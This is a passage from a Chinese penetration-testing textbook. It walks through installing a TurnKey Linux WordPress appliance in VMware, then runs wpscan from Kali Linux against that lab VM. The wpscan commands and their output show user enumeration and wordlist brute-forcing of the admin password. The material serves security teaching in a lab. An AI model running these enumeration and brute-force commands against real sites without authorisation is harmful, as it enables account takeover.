今天越来越多的企业利用saas(software as a service)工具应用在他们的业务中。例如,他们经常使用wordpress作为他们网站的内容管理系统,或者在局域网中使用drupal框架。从这些应用程序中找到漏洞,是非常有价值的。

为了收集用于测试的应用程序,turnkey linux是一个非常好的资源。turnkey工具的官方网站是http://www.turnkeylinux.org。本节将下载最流行的wordpress turnkey linux发行版。

3.2.1 获取wordpress应用程序

获取wordpress应用程序的具体操作步骤如下所示。

(1)在浏览器中输入http://www.turnkeylinux.org地址,打开的界面如图3.8所示。从该界面下载turnkey linux。

图3.8 turnkey主页

(2)在该页面列出了许多程序,可以通过向下滚动鼠标查看。由于篇幅的原因,图3.8只截取了一少部分内容。在该页面中,用户可以尝试使用各种软件查找漏洞,并通过工具对这些应用程序来测试用户的技术。本例中将选择测试wordpress,向下滚动鼠标可以看到instant search对话框,如图3.9所示。

图3.9 立即搜索

(3)在该对话框中输入wordpress,然后按下回车键,将显示如图3.10所示的界面。

图3.10 wordpress应用程序

(4)在该界面可以看到wordpress程序已经找到,此时单击wordpress-blog publishing platform链接进入下载页面,如图3.11所示。

图3.11 turnkey下载页面

(5)在该界面选择下载iso映像文件。单击220mb iso链接,将显示如图3.12所示的界面。

图3.12 设置邮箱地址

(6)该界面提示为了安全,需要填写一个邮箱地址。填写完后,单击subscribe and go straight to download按钮,将开始下载turnkey wordpress软件。

3.2.2 安装wordpress turnkey linux

本小节将介绍在vmware workstation中安装wordpress turnkey linux。关于vmware workstation的使用,在第1章中已经详细介绍过,这里就不再赘述。安装wordpress turnkey linux的具体操作步骤如下所示。

(1)将前面下载的iso文件导入到光驱中,然后启动此虚拟机,将显示如图3.13所示的界面。

图3.13 turnkey初始界面

(2)在该界面选择install to hard disk选项,按下“回车键”,将显示如图3.14所示的界面。

图3.14 选择分区方法

(3)该界面是选择分区的方法。该系统提供了三种方法,分别是使用整个磁盘并设置lvm、使用整个磁盘和手动分区。这里选择第一种,然后单击ok按钮,将显示如图3.15所示的界面。

图3.15 将数据写入磁盘

(4)该界面显示了分区的信息,这里提示是否将写入改变磁盘并配置lvm呢?如果想要重新分配分区的话,就单击no按钮,否则单击yes按钮。本例中单击yes按钮,将显示如图3.16所示的界面。

图3.16 lvm信息

(5)该界面显示了lvm的配置信息。单击ok按钮,将显示如图3.17所示的界面。

图3.17 使用引导分区的卷组

(6)该界面提示使用引导分区的卷组来安装系统。此时,单击ok按钮,将显示如图3.18所示的界面。

图3.18 磁盘分区表

(7)该界面显示了磁盘的分区表信息,此时提示是否要写入数据。这里单击yes按钮,将显示如图3.19所示的界面。

图3.19 复制数据到磁盘

(8)该界面显示了复制数据的磁盘的一个进度。复制完后,将显示如图3.20所示的 界面。

图3.20 安装grub引导

(9)该界面提示是否安装grub引导加载程序的主引导记录。这里单击yes按钮,将显示如图3.21所示的界面。

图3.21 是否重启系统

(10)该界面显示wordpress turnkey linux已经安装完成,是否现在重新启动系统。单击yes按钮,将显示如图3.22所示的界面。

图3.22 root密码

(11)在该界面为root用户设置一个密码。输入密码后,单击ok按钮,将显示如图3.23所示的界面。

图3.23 root确认密码

(12)该界面要求再次为root用户输入相同的密码,单击ok按钮,将显示如图3.24所示的界面。

图3.24 mysql密码

(13)在该界面为mysql服务的root用户设置一个密码,设置完后单击ok按钮,将显示如图3.25所示的界面。

图3.25 mysql确认密码

(14)在该界面再次为mysql服务的root用户输入相同的密码,然后单击ok按钮,将显示如图3.26所示的界面。

图3.26 wordpress用户admin密码

(15)在该界面要求为wordpress的用户admin设置一个密码,输入密码后,单击ok按钮,将显示如图3.27所示的界面。

图3.27 wordpress用户admin确认密码

(16)在该界面再次为wordpress用户admin输入相同的密码,然后单击ok按钮,将显示如图3.28所示的界面。

图3.28 设置邮件地址

(17)该界面提示为wordpress用户admin设置一个邮件地址,这里使用默认的admin@example.com。然后单击apply按钮,将显示如图3.29所示的界面。

图3.29 initialize hub services

(18)该界面显示了初始化hub服务信息,在该界面单击skip按钮,将显示如图3.30所示的界面。

图3.30 security updates

(19)该界面提示是否现在安装安全更新,这里单击install按钮,将显示如图3.31所示的界面。

图3.31 wordpress appliance services

(20)该界面显示了wordpress应用服务的详细信息,如web地址、web shell地址和端口、webmin地址、phpmyadmin地址和端口及ssh/sftp地址和端口等。此时,表明wordpress turnkey linux就可以使用了。

3.2.3 攻击wordpress应用程序

上一小节介绍了wordpress虚拟机的安装。现在就可以启动wordpress虚拟机,在kali linux下使用wpscan攻击它。wpscan是一个黑盒安全扫描器,它允许用户查找word press安装版的一些已知的安全漏洞。本小节将介绍使用wpscan工具攻击wordpress应用程序。

wpscan在kali linux中已经默认安装。它的语法格式如下所示:

wpscan [选项] [测试]

常用的选项如下所示。

--update:更新到最新版本。

--url|-u <target url>:指定扫描wordpress的url(统一资源定位符)或域名。

--force |-f:如果远程站点正运行wordpress,强制wpscan不检查。

--enumerate |-e [option(s)]:计算。该参数可用的选项有u、u[10-20]、p、vp、ap、tt、t、vt和at。其中u表示用户名从id1到10;u[10-20]表示用户名从id10到20([]中的字符必须写);p表示插件程序;vp表示仅漏洞插件程序;ap表示所有插件程序(可能需要一段时间);tt表示timthumbs;t表示主题;vt表示仅漏洞主题;at表示所有主题(可能需要一段时间)。

【实例3-1】使用wpscan攻击wordpress程序的具体操作步骤如下所示。

(1)在kali linux下,查看wpscan的帮助信息。执行命令如下所示:

root@localhost:~# wpscan -h

_______________________________________________________________

__ _______ _____

/ / __ / ____|

/ / /| |__) | (___ ___ __ _ _ __

/ / / | ___/ \___ / __|/ _` | '_

/ / | | ____) | (__| (_| | | | |

/ / |_| |_____/ \___|\__,_|_| |_|

wordpress security scanner by the wpscan team

version v2.2

sponsored by the randomstorm open source initiative

@_wpscan_, @ethicalhack3r, @erwan_lr, @gbrindisi, @_firefart_

_______________________________________________________________

help :

some values are settable in conf/browser.conf.json :

user-agent, proxy, proxy-auth, threads, cache timeout and request timeout

......

m conf/browser.conf.json).

--basic-auth <username:password> set the http basic authentication

--wordlist | -w <wordlist> supply a wordlist for the password bruter and do the brute.

--threads | -t <number of threads> the number of threads to use when multi-threading

requests. (will override the value from conf/browser. conf.json)

--username | -u <username> only brute force the supplied username.

--help | -h this help screen.

--verbose | -v verbose output.

examples :

-further help ...

ruby ./wpscan.rb --help

-do 'non-intrusive' checks ...

ruby ./wpscan.rb --url www.example.com

-do wordlist password brute force on enumerated users using 50 threads ...

ruby ./wpscan.rb --url www.example.com --wordlist darkc0de.lst --threads 50

-do wordlist password brute force on the 'admin' username only ...

ruby ./wpscan.rb --url www.example.com --wordlist darkc0de.lst --username admin

......

执行以上命令后,会输出大量信息。输出的信息中显示了wpscan的版本信息、使用方法及wpscan的例子等。由于篇幅的原因,这里贴了一部分内容,其他使用省略号(……)取代。

(2)使用wpscan攻击wordpress虚拟机。本例中,wordpress的ip地址是192.168.41.130。执行命令如下所示:

root@localhost:~# wpscan -u 192.168.41.130

_______________________________________________________________

__ _______ _____

/ / __ / ____|

/ / /| |__) | (___ ___ __ _ _ __

/ / /| ___/ \___ / __|/ _` | '_

/ / | | ____) | (__| (_| | | | |

/ / |_| |_____/ \___|\__,_|_| |_|

wordpress security scanner by the wpscan team

version v2.2

sponsored by the randomstorm open source initiative

@_wpscan_, @ethicalhack3r, @erwan_lr, @gbrindisi, @_firefart_

_______________________________________________________________

| url: http://192.168.41.130/

| started: thu apr 17 13:49:37 2014

[!] the wordpress 'http://192.168.41.130/readme.html' file exists

[+] interesting header: server: apache/2.2.22 (debian)

[+] interesting header: x-powered-by: php/5.4.4-14+deb7u8

[+] xml-rpc interface available under: http://192.168.41.130/xmlrpc.php

[+] wordpress version 3.6.1 identified from meta generator

[+] wordpress theme in use: twentythirteen v1.0

| name: twentythirteen v1.0

| location: http://192.168.41.130/wp-content/themes/twentythirteen/

[+] enumerating plugins from passive detection ...

no plugins found

[+] finished: thu apr 17 13:49:41 2014

[+] memory used: 2.414 mb

[+] elapsed time: 00:00:03

输出的信息显示了wpscan一个简单的攻击过程。

(3)列出用户名列表,执行命令如下所示:

root@localhost:~# wpscan -u 192.168.41.130 -e u vp

_______________________________________________________________

__ _______ _____

/ / __ / ____|

/ / /| |__) | (___ ___ __ _ _ __

/ / / | ___/ \___ / __|/ _` | '_

/ / | | ____) | (__| (_| | | | |

/ / |_| |_____/ \___|\__,_|_| |_|

wordpress security scanner by the wpscan team

version v2.2

sponsored by the randomstorm open source initiative

@_wpscan_, @ethicalhack3r, @erwan_lr, @gbrindisi, @_firefart_

_______________________________________________________________

| url: http://192.168.41.130/

| started: thu apr 17 13:50:49 2014

[!] the wordpress 'http://192.168.41.130/readme.html' file exists

[+] interesting header: server: apache/2.2.22 (debian)

[+] interesting header: x-powered-by: php/5.4.4-14+deb7u8

[+] xml-rpc interface available under: http://192.168.41.130/xmlrpc.php

[+] wordpress version 3.6.1 identified from meta generator

[+] wordpress theme in use: twentythirteen v1.0

| name: twentythirteen v1.0

| location: http://192.168.41.130/wp-content/themes/twentythirteen/

[+] enumerating plugins from passive detection ...

no plugins found

[+] enumerating usernames ...

[+] we found the following 1 user/s:

+----+-------+-------+

| id | login | name |

+----+-------+-------+

| 1 | admin | admin |

+----+-------+-------+

[+] finished: thu apr 17 13:50:54 2014

[+] memory used: 2.379 mb

[+] elapsed time: 00:00:04

从输出的信息中可以看到当前系统中只有一个用户,名为admin。

(4)为wpscan指定一个wordlist文件,使用--wordlist <path to file>选项。执行命令如下所示:

root@localhost:~# wpscan -u 192.168.41.130 -e u --wordlist /root/ wordlist.txt

_______________________________________________________________

__ _______ _____

/ / __ / ____|

/ / /| |__) | (___ ___ __ _ _ __

/ / / | ___/ \___ / __|/ _` | '_

/ / | | ____) | (__| (_| | | | |

/ / |_| |_____/ \___|\__,_|_| |_|

wordpress security scanner by the wpscan team

version v2.2

sponsored by the randomstorm open source initiative

@_wpscan_, @ethicalhack3r, @erwan_lr, @gbrindisi, @_firefart_

_______________________________________________________________

| url: http://192.168.41.130/

| started: thu apr 17 13:54:51 2014

[!] the wordpress 'http://192.168.41.130/readme.html' file exists

[+] interesting header: server: apache/2.2.22 (debian)

[+] interesting header: x-powered-by: php/5.4.4-14+deb7u8

[+] xml-rpc interface available under: http://192.168.41.130/xmlrpc.php

[+] wordpress version 3.6.1 identified from meta generator

[+] wordpress theme in use: twentythirteen v1.0

| name: twentythirteen v1.0

| location: http://192.168.41.130/wp-content/themes/twentythirteen/

[+] enumerating plugins from passive detection ...

no plugins found

[+] enumerating usernames ...

[+] we found the following 1 user/s:

+----+-------+-------+

| id | login | name |

+----+-------+-------+

| 1 | admin | admin |

+----+-------+-------+

[+] starting the password brute forcer

brute forcing 'admin' time: 00:00:00 < > (59 / 20575) 0.28%

eta: 00:00:00

[success] login : admin password : 123456

+----+-------+-------+----------+

| id | login | name | password |

+----+-------+-------+----------+

| 1 | admin | admin | 123456 |

+----+-------+-------+----------+

[+] finished: thu apr 17 13:54:56 2014

[+] memory used: 2.508 mb

[+] elapsed time: 00:00:05

从输出的信息中,可以看到wordpress用户admin的密码已被破解出。